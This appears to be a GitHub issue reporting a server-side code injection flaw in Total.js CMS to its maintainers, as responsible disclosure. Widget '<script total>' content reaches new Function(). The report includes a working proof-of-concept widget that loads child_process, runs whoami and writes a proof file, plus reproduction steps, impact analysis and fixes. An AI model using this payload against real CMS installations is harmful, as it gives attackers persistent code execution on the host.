Skip to content

Server-Side Code Injection Leading to Remote Code Execution in Total.js CMS #52

Description

@aasprobd

Security Vulnerability Report

Server-Side Code Injection Leading to Remote Code Execution in Total.js CMS

Product: Total.js CMS

Affected version: v1.0.0, current master at the time of testing

Framework: total5 v0.0.18

Severity: Critical

Suggested CVSS: 9.2 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

Testing status: Successfully reproduced in a local test environment

1. Summary

I identified a server-side code injection issue in Total.js CMS that can lead to arbitrary command execution on the server.

The issue is related to the CMS widget functionality. Widgets can contain a <script total> section, and the server processes this section using JavaScript's new Function().

The problem is that widget content can be supplied through the CMS interface and the resulting code is executed directly inside the Node.js process. As a result, a user who has permission to create or modify widgets can potentially execute arbitrary JavaScript with the privileges of the CMS process.

During testing, I was able to:

  1. Create a malicious widget.
  2. Execute JavaScript on the server.
  3. Access Node.js functionality from the injected code.
  4. Execute an operating system command using child_process.
  5. Write a file to the server filesystem.
  6. Confirm the command output through the CMS interface.
  7. Confirm that the injected widget is stored and can be recompiled when the application starts.

This means the issue can result in remote code execution and potentially complete compromise of the CMS host, depending on the privileges of the Node.js process.

The vulnerable code path and affected components are documented in the sections below.

2. Vulnerability Details

Vulnerability Type

CWE-94: Improper Control of Generation of Code (Code Injection)

The vulnerable functionality is located primarily in:

definitions/func.js
plugins/widgets/schemas/widgets.js

The widget compiler processes the <script total> section and passes the resulting content to new Function().

The relevant behavior is:

(new Function('exports', meta.total))(item.ref);

meta.total contains the contents of the widget's <script total> section.

This causes the supplied JavaScript to be compiled and executed inside the server-side Node.js process.

3. Attack Flow

The issue can be reproduced through the following general flow:

User with widget permission
        |
        v
Create / modify widget
        |
        v
Submit malicious <script total>
        |
        v
Widgets/save
        |
        v
FUNC.recompile()
        |
        v
new Function('exports', meta.total)
        |
        v
JavaScript executes in Node.js
        |
        v
Access server-side functionality
        |
        v
OS command execution

The Widgets/save action accepts widget HTML and invokes FUNC.recompile() during the save operation.

The source indicates that the action is protected by the widgets,admin permission declaration, but the widget permission itself provides access to the vulnerable compilation functionality.

4. Why This Is Security Relevant

I understand that server-side widget scripting may be an intentional feature of Total.js CMS.

However, the security concern is the trust boundary around that feature.

A CMS with multiple users and permissions allows administrators to assign specific capabilities to users. A user who is only intended to manage widgets may not necessarily be expected to receive unrestricted operating system level code execution.

In the current implementation, widget scripting effectively provides that capability.

This means the security impact is significantly greater than normal widget customization.

The issue is particularly important in environments where:

  • Multiple CMS users have different permission levels.
  • Editors or content managers are allowed to manage widgets.
  • The administration interface is accessible remotely.
  • The CMS process has access to sensitive application files or environment variables.
  • The CMS has access to internal services or databases.

The report's testing also identified that stored widgets are recompiled during application loading, which can make an injected payload persistent across application restarts.

5. Proof of Concept

I reproduced the issue against a fresh local installation of Total.js CMS.

The PoC creates a widget containing server-side JavaScript. The injected code uses Node.js functionality to execute whoami and write the result to a file.

The relevant proof of concept was:

<script total>
    exports.id = "poc";
    exports.name = "POC";

    (function() {
        try {
            var req = process.mainModule.require;
            var fs = req("fs");
            var cp = req("child_process");

            var out = cp.execSync("whoami").toString().trim();

            fs.writeFileSync(
                "poc-proof.txt",
                "PWNED_BY_CODE_INJECTION\n" +
                "pid=" + process.pid + "\n" +
                "user=" + out + "\n" +
                "cwd=" + process.cwd()
            );

            exports.name = "POC:" + out;
        } catch (e) {
            exports.name = "POC-ERR:" + (e.stack || e.message);
        }
    })();
</script>

<body>
    <div>poc</div>
</body>

The important part is not the specific command used in this PoC. The important observation is that JavaScript supplied through the widget was executed by the server process.

The original testing confirmed that the widget name was modified using the output of the server-side whoami command and that a proof file was created on the server.

6. Reproduction Steps

Step 1: Obtain the source

git clone https://github.com/totaljs/cms.git
cd cms
npm install

Step 2: Start the application

node index.js 8010

The application becomes available at:

http://127.0.0.1:8010

These were the commands used during the original reproduction.

Step 3: Authenticate

Open:

http://127.0.0.1:8010/admin/

Authenticate with an account that has permission to manage widgets.

Step 4: Create a widget

Navigate to:

Widgets -> Options -> Create

Create a widget containing the server-side payload shown in the PoC section.

Step 5: Submit the widget

Submit the widget.

During testing, the server processed the <script total> section immediately as part of the widget compilation process.

Step 6: Verify code execution

The injected code executes:

cp.execSync("whoami")

and writes the result to:

poc-proof.txt

The widget name is also changed to include the command output.

This provides two independent indicators that the code executed on the server.

7. Observed Result

The reproduced result included:

login: 200 {"success":true}

save: 200 {"success":true,"value":"poc1786731269435"}

injected widget:
{"id":"poc1786731269435","name":"POC:desktop-iuu\msi", ...}

The resulting proof file contained information similar to:

PWNED_BY_CODE_INJECTION
pid=3556
user=desktop-iuu\msi
cwd=D:\cms-master

The username shown in the widget was produced by the server-side execution of whoami, confirming that the command was executed by the Node.js process rather than by the browser.

8. Manual Reproduction

The vulnerability can also be demonstrated without using an automated script.

  1. Open the CMS administration interface.
  2. Authenticate with an account authorized to manage widgets.
  3. Navigate to Widgets.
  4. Select Options.
  5. Select Create.
  6. Insert a widget containing a harmless server-side execution test.
  7. Submit the widget.
  8. Observe the resulting widget metadata.
  9. Verify the server-side artifact created by the test.

The original testing confirmed the behavior through the browser interface as well.

9. Impact

The vulnerability can have significant security impact because arbitrary JavaScript executes within the server process.

Depending on the privileges of the CMS process, an attacker may be able to:

Remote Code Execution

Execute operating system commands through Node.js modules such as child_process.

Sensitive Information Disclosure

Access information available to the Node.js process, including environment variables, application configuration, and files readable by the service account.

File System Modification

Create, modify, or delete files accessible to the CMS process.

Application Compromise

Modify application files or introduce persistent malicious functionality.

Persistence

A malicious widget is stored by the CMS and can be processed again when stored widgets are loaded or recompiled.

Denial of Service

Server-side code execution can potentially be abused to terminate or exhaust the Node.js process.

Privilege Boundary Bypass

If a non-administrative user is granted widget management privileges, that user may gain capabilities equivalent to arbitrary server-side code execution.

The observed impact and affected areas are consistent with the testing documented in the original report.

10. Affected Code Paths

The following components were identified during analysis:

Component Location Relevant behavior
Widget compiler definitions/func.js Executes widget <script total> through new Function()
Widget creation/update plugins/widgets/schemas/widgets.js Accepts widget HTML and invokes the compiler
Layout import plugins/layouts/schemas/layouts.js Can provide widget content through imported layouts
Widget loading definitions/func.js Recompiles stored widgets during application startup
Administration login plugins/admin/login.html First-run credentials are rendered by the login page

The specific source locations are documented in the original analysis.

11. Reproduction Environment

The issue was reproduced in the following environment:

Component Version / Configuration
OS Windows 10/11
Node.js v24.14.1
Total.js framework total5 v0.0.18
CMS v1.0.0 / current master
Port 8010
Access 127.0.0.1

These values reflect the environment used for the reproduction and should not be interpreted as a statement that other environments are unaffected.

12. Security Assessment

Attack Vector

Network

Attack Complexity

Low

Privileges Required

Low

An attacker needs an account capable of reaching the widget functionality. Depending on deployment configuration, the default first-run administrator credentials may also increase exposure.

User Interaction

None

Confidentiality Impact

High

Integrity Impact

High

Availability Impact

High

Suggested CVSS Score

9.2 Critical

CVSS v3.1:

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

The final severity should ultimately be determined by the Total.js maintainers based on the intended security model and deployment assumptions.

13. Additional Observation

During testing, I also observed that the first-run administration login page can expose the default administrator credentials.

The current implementation renders the login information directly on the login page. If an installation has not completed its initial credential change or hardening process, this may make administrative access easier to obtain.

I recommend treating this as a separate security issue from the code injection vulnerability, because the two problems have different root causes and remediation requirements.

14. Recommended Remediation

I recommend considering the following changes.

14.1 Restrict server-side code execution

If server-side widget scripting must remain available, restrict it to explicitly trusted administrators.

The normal widgets permission should not implicitly provide unrestricted server-side code execution.

14.2 Avoid new Function() for untrusted content

The strongest fix would be to avoid evaluating user-controlled widget content as JavaScript.

Widget metadata could instead be parsed using a restricted parser or represented as declarative configuration.

14.3 Implement proper sandboxing

If dynamic server-side scripting is an essential feature, execute it within a properly isolated environment.

The execution environment should not expose unrestricted access to:

process
require
child_process
fs
net

A controlled API should be provided instead.

14.4 Review widget import functionality

The layout import functionality should also be reviewed to ensure that imported widget data cannot bypass any security controls introduced for normal widget creation.

14.5 Review startup recompilation

Stored widgets should not automatically result in unrestricted server-side code execution during application startup.

Any compilation mechanism should operate within the same security restrictions as widget creation.

14.6 Remove plaintext first-run credentials

The initial administrator credentials should not be rendered on the login page.

A safer first-run flow would generate credentials securely and require the administrator to establish a new password before the administration interface becomes available.

14.7 Add security documentation

If server-side widget scripting is intentionally considered an administrator-only feature, this should be clearly documented as a privileged capability.

Deployment documentation should also recommend protecting the administration interface through appropriate network access controls when necessary.

The remediation recommendations above are based on the vulnerable code paths and behavior observed during testing.

15. Suggested Security Test After Fix

After implementing a fix, I recommend testing at least the following cases:

  1. A normal content user should not be able to execute arbitrary JavaScript on the server.
  2. A user with only the widgets permission should not be able to access Node.js internals.
  3. Widget creation should not execute arbitrary statements supplied inside <script total>.
  4. Widget imports should receive the same security restrictions as manually created widgets.
  5. Stored malicious widgets should not execute after an application restart.
  6. Access to process, require, child_process, fs, and other sensitive Node.js functionality should be blocked where server-side scripting remains supported.
  7. First-run credentials should not be exposed through the public login page.

16. Disclosure

This report was prepared for responsible disclosure to the Total.js CMS maintainers.

The testing described here was performed against a local instance under the researcher's control.

The proof of concept uses a harmless command, whoami, and creates a local proof file to demonstrate server-side code execution. No destructive actions or third-party data access were required to establish the vulnerability.

17. Conclusion

The core issue is that Total.js CMS treats widget supplied JavaScript as executable server-side code.

Because the widget content reaches new Function() and executes inside the Node.js process, the feature can provide arbitrary server-side code execution to users who can reach the vulnerable widget functionality.

I recommend reviewing the intended trust model for server-side widgets and either restricting this functionality to explicitly trusted administrators or replacing the current execution model with a properly isolated and constrained mechanism.

I would be happy to provide additional reproduction details, testing evidence, or collaborate with the maintainers on validating a proposed fix.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions